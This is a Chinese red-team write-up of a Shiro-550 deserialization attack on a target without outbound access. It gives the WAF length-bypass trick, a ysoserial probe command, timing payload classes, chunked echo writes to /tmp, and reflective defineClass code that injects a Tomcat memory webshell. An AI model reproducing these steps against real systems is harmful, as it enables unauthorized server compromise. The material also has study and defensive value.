本文记录一次攻防中比较苛刻场景下的 shiro 550 漏洞的不出网利用。

0x01 简介

主要内容:

  • 绕过 WAF 对 rememberMe 长度的限制
  • 加载本地字节码 defineClass 注入内存马

0x02 漏洞验证

1、验证后端反序列化功能是否正常

Image

(被拦截)

根据经验猜测大概率是限制了 rememberMe 的长度

2、删减到 300 左右,正常放行

Image

3、绕过 waf 对 rememberMe 长度的限制

OPTIONS 请求方式 + 静态资源 uri 路径

1
OPTIONS /app/login;index.css

成功将 rememberMe 的长度提升到 7000 左右

但超过 7000 依然会被拦截,没法再绕

Image

4、验证后端反序列化功能是否正常

反序列化炸弹

1
java -jar ysoserial-for-woodpecker-<version>.jar -g FindClassByBomb -a "java.lang.String|25"

延时成功,说明后端功能正常

Image

5、探测目标是否出网

通过 urldns/httplog/jrmp 的方式探测,发现目标不出网

6、探测反序列化链

通过延时探测反序列化链

Image

说明目标存在 gadget: CommonsCollections10

0x03 漏洞利用

7、梳理信息与思路

请求方式:OPTIONS

  • 分离payload+动态类加载的姿势失效(OPTIONS 无法传递参数)
  • 修改 maxHeaderSize 没用(nignx 反代)

目标不出网

  • 远程加载字节码的姿势失效

利用思路

  • 命令执行/代码执行 写文件马
  • 代码执行 注内存马

8、判断目标操作系统

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
public class Payload extends AbstractTranslet {
    public void transform(DOM var1, SerializationHandler[] var2) {}
    public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) {}
    static {
        try {
            String osType = System.getProperty("os.name");
            if (osType != null && osType.toLowerCase().contains("win")) {
                Thread.sleep(3000);
            }else {
                Thread.sleep(5000);
            }
        } catch (Throwable var16) {
        }
    }
}

延时6s,说明目标操作系统极大概率为 *nix

Image

9、尝试写文件马

通过 find 静态资源文件获取web路径并写入文件马,失败

猜测原因

  • 当前用户权限问题(不是root)
  • 当前应用部署问题(以springboot fatjar的方式部署)

10、排查写入失败原因

在 home 目录写文件

1
echo 123321 > /home/tmp.txt

判断文件是否写入成功

1
2
3
4
5
6
File file = new File("/home/tmp.txt");
if (file.exists()) {
    Thread.sleep(2000);
} else {
    Thread.sleep(5000);
}

延时6s,说明当前权限足够,则很有可能是应用部署层面导致的,文件马的路到此为止,尝试内存马

11、尝试注入内存马

将字节码写到临时目录,然后从目标本地读取文件加载字节码

由于 paylaod 长度限制,内存马需要分散写入,经过测试发现每次最多能写长度为 1600 左右

1)使用 java-memshell-generator 辅助模块延时确认目标中间件为 tomcat

1
2
3
4
5
6
7
detect_way=Sleep
server_type=Tomcat
dnslog_domain=xxx.dnslog.cn
httplog_url=http://xxx.httplog.cn
sleep_seconds=5
gadget_type=JDK_AbstractTranslet
format_type=CLASS

2)拆分内存马,限制每组长度为 1600

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
public static void main(String[] args) {
    String input = "[payload]";
    int groupSize = 1600;
    int length = input.length();
    int startIndex = 0;
    int endIndex = Math.min(length, groupSize);
    int a = 1;
    while (startIndex < length) {
        String group = input.substring(startIndex, endIndex);
        System.out.println(a + ":" + group);
        startIndex = endIndex;
        endIndex = Math.min(startIndex + groupSize, length);
        a++;
    }
}

拆分成了 14 组

Image

3)写入内存马的字节码

1
2
3
4
5
// 1
echo [payload01] > /tmp/log.txt

// 2 - 14 使用 '>>' 追加文件内容
echo [payload14] >> /tmp/log.txt

4)读取字节码进行 defineClass

  • 注意换行符问题
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
// 读取文件
byte[] fileBytes = Files.readAllBytes(Paths.get("/tmp/log.txt"));
String fileContent = new String(fileBytes, StandardCharsets.UTF_8);
// 删除多余的换行符
String base64Str = fileContent.replace("\r","").replace("\n","");
byte[] clazzByte = (new BASE64Decoder()).decodeBuffer(base64Str);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
Class clazz = (Class)defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
clazz.newInstance();

5)成功注入内存马

Image

0x04 总结

目标虽然成功拿下了,但这是一种不太优雅的利用方式,不管是落地文件还是追加文件内容的选择都有可能会遇到更苛刻的挑战,比如文件无法落地、有负载均衡等。